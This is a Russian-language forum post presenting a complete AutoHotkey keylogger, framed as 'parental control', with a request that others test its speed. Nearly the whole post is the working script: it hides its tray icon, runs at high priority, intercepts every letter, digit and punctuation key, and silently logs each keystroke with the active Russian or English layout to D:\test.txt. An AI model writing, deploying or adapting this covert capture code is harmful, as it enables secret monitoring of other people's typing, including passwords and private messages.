Ну чтож в рамках "парент контроля" выложу скрипт, если кто может потестируйте на быстродействие (желательно попечатать текст с ним 400-500 зн/м)
Сохраняет лог в D:\Test.txt
Понимает два языка русский и не русский(английский)
;*$vk41:: ; виртуальный код клавиши (в данном случае англ. A)
;Send, {Blind}{vk41} ;посылка нажатия
;GetKeyState, stateShift, Shift ;проверка физического состояния кнопки шифт
;if stateShift = D ;если она таки нажата
;{
;FileAppend, %ShiftSymbol%, %logpath% ;то записать в лог символ нажатости шифт
;}
;GetKeyState, stateCaps, Capslock, T ;проверка состояния капс в системе
;if stateCaps = D ;если таки включен
;{
;FileAppend, %CapsSymbol%, %logpath% ;то записать в лог символ включенности капса
;}
;WinGet, WinID,, A ;функция проверки языка
; ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0) ;
; InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt) ;
;if InputLocaleID & 0xFFFF = 0x419 ;проверка на русский язык
;{
;FileAppend, ф, %logpath% ;и если он таки русский записать в лог русский символ кнопки
;}
;else
;{
;FileAppend, a, %logpath% ;иначе английский
;}
;Return
#NoTrayIcon
#MaxHotkeysPerInterval 700
Process,priority,,H
logpath:="D:\test.txt"
BackSymbol:="#B" ;символ для кнопки BackSpace (Будет записан в лог)
CapsSymbol:="#C" ; CapsLock
ShiftSymbol:="#S" ; Shift
FileAppend, `n%A_MDay% %A_MMMM% %A_YYYY% %A_Hour%:%A_Min%:%A_Sec%`n, %logpath% ; Отметка включения скрипта
$vk20:: ;пробел
Send, {Blind}{vk20}
fileappend,%A_Space%,%logpath%
return
$vk8:: ; BackSpace
Send, {Blind}{vk8}
FileAppend, %BackSymbol%, %logpath%
return
*$vk30::
Send, {Blind}{vk30}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
FileAppend, 0, %logpath%
Return
*$vk31::
Send, {Blind}{vk31}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
FileAppend, 1, %logpath%
Return
*$vk32::
Send, {Blind}{vk32}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
GetKeyState, stateShift, Shift
if stateShift = D
{
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend,`", %logpath% ;"
return
}
else
{
FileAppend,`@, %logpath%
return
}
}
FileAppend, 2, %logpath%
Return
*$vk33::
Send, {Blind}{vk33}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
GetKeyState, stateShift, Shift
if stateShift = D
{
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend,`№, %logpath%
return
}
else
{
FileAppend, `#, %logpath%
return
}
}
FileAppend, 3, %logpath%
Return
*$vk34::
Send, {Blind}{vk34}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
GetKeyState, stateShift, Shift
if stateShift = D
{
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend,`;, %logpath%
return
}
else
{
FileAppend, `@, %logpath%
return
}
}
FileAppend, 4, %logpath%
Return
*$vk35::
Send, {Blind}{vk35}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
FileAppend, 5, %logpath%
Return
*$vk36::
Send, {Blind}{vk36}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
GetKeyState, stateShift, Shift
if stateShift = D
{
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend,`:, %logpath%
return
}
else
{
FileAppend, `^, %logpath%
return
}
}
FileAppend, 6, %logpath%
Return
*$vk37::
Send, {Blind}{vk37}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
GetKeyState, stateShift, Shift
if stateShift = D
{
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend,`?, %logpath%
return
}
else
{
FileAppend,`&, %logpath%
return
}
}
FileAppend, 7, %logpath%
Return
*$vk38::
Send, {Blind}{vk38}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
FileAppend, 8, %logpath%
Return
*$vk39::
Send, {Blind}{vk39}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
FileAppend, 9, %logpath%
Return
*$vk41::
Send, {Blind}{vk41}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, ф, %logpath%
}
else
{
FileAppend, a, %logpath%
}
Return
*$vk42::
Send, {Blind}{vk42}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, и, %logpath%
}
else
{
FileAppend, b, %logpath%
}
Return
*$vk43::
Send, {Blind}{vk43}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, с, %logpath%
}
else
{
FileAppend, c, %logpath%
}
Return
*$vk44::
Send, {Blind}{vk44}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, в, %logpath%
}
else
{
FileAppend, d, %logpath%
}
Return
*$vk45::
Send, {Blind}{vk45}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, у, %logpath%
}
else
{
FileAppend, e, %logpath%
}
Return
*$vk46::
Send, {Blind}{vk46}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, а, %logpath%
}
else
{
FileAppend, f, %logpath%
}
Return
*$vk47::
Send, {Blind}{vk47}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, п, %logpath%
}
else
{
FileAppend, g, %logpath%
}
Return
*$vk48::
Send, {Blind}{vk48}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, р, %logpath%
}
else
{
FileAppend, h, %logpath%
}
Return
*$vk49::
Send, {Blind}{vk49}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, ш, %logpath%
}
else
{
FileAppend, i, %logpath%
}
Return
*$vk4A::
Send, {Blind}{vk4A}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, о, %logpath%
}
else
{
FileAppend, j, %logpath%
}
Return
*$vk4B::
Send, {Blind}{vk4B}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, л, %logpath%
}
else
{
FileAppend, k, %logpath%
}
Return
*$vk4C::
Send, {Blind}{vk4C}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, д, %logpath%
}
else
{
FileAppend, l, %logpath%
}
Return
*$vk4D::
Send, {Blind}{vk4D}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, ь, %logpath%
}
else
{
FileAppend, m, %logpath%
}
Return
*$vk4E::
Send, {Blind}{vk4E}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, т, %logpath%
}
else
{
FileAppend, n, %logpath%
}
Return
*$vk4F::
Send, {Blind}{vk4F}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, щ, %logpath%
}
else
{
FileAppend, o, %logpath%
}
Return
*$vk50::
Send, {Blind}{vk50}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, з, %logpath%
}
else
{
FileAppend, p, %logpath%
}
Return
*$vk51::
Send, {Blind}{vk51}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, й, %logpath%
}
else
{
FileAppend, q, %logpath%
}
Return
*$vk52::
Send, {Blind}{vk52}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, к, %logpath%
}
else
{
FileAppend, r, %logpath%
}
Return
*$vk53::
Send, {Blind}{vk53}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, ы, %logpath%
}
else
{
FileAppend, s, %logpath%
}
Return
*$vk54::
Send, {Blind}{vk54}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, е, %logpath%
}
else
{
FileAppend, t, %logpath%
}
Return
*$vk55::
Send, {Blind}{vk55}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, г, %logpath%
}
else
{
FileAppend, u, %logpath%
}
Return
*$vk56::
Send, {Blind}{vk56}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, м, %logpath%
}
else
{
FileAppend, v, %logpath%
}
Return
*$vk57::
Send, {Blind}{vk57}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, ц, %logpath%
}
else
{
FileAppend, w, %logpath%
}
Return
*$vk58::
Send, {Blind}{vk58}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, ч, %logpath%
}
else
{
FileAppend, x, %logpath%
}
Return
*$vk59::
Send, {Blind}{vk59}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, н, %logpath%
}
else
{
FileAppend, y, %logpath%
}
Return
*$vk5A::
Send, {Blind}{vk5A}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, я, %logpath%
}
else
{
FileAppend, z, %logpath%
}
Return
*$vkBA::
Send, {Blind}{vkBA}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, ж, %logpath%
}
else
{
FileAppend, `; , %logpath%
}
Return
*$vkBB::
Send, {Blind}{vkBB}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
FileAppend, `= , %logpath%
Return
*$vkBC::
Send, {Blind}{vkBC}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, б, %logpath%
}
else
{
FileAppend, `, , %logpath%
}
Return
*$vkBD::
Send, {Blind}{vkBD}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
FileAppend, `- , %logpath%
Return
*$vkBE::
Send, {Blind}{vkBE}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, ю, %logpath%
}
else
{
FileAppend, `. , %logpath%
}
Return
*$vkBF::
Send, {Blind}{vkBF}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, `. , %logpath%
}
else
{
FileAppend, `/ , %logpath%
}
Return
*$vkC0::
Send, {Blind}{vkC0}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, ё , %logpath%
}
else
{
FileAppend, `` , %logpath%
}
Return
*$vkDB::
Send, {Blind}{vkDB}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, х , %logpath%
}
else
{
FileAppend, `[ , %logpath%
}
Return
*$vkDC::
Send, {Blind}{vkDC}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, `\ , %logpath%
}
else
{
FileAppend, `| , %logpath%
}
Return
*$vkDD::
Send, {Blind}{vkDD}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, ъ , %logpath%
}
else
{
FileAppend, `] , %logpath%
}
Return
*$vkDE::
Send, {Blind}{vkDE}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, э , %logpath%
}
else
{
FileAppend, `' , %logpath%
}
Return
*$vkDF::
Send, {Blind}{vkDF}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, хз , %logpath%
}
else
{
FileAppend, HZ , %logpath%
}
Return
*$vkE2::
Send, {Blind}{vkE2}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, хз2 , %logpath%
}
else
{
FileAppend, HZ2 , %logpath%
}
Return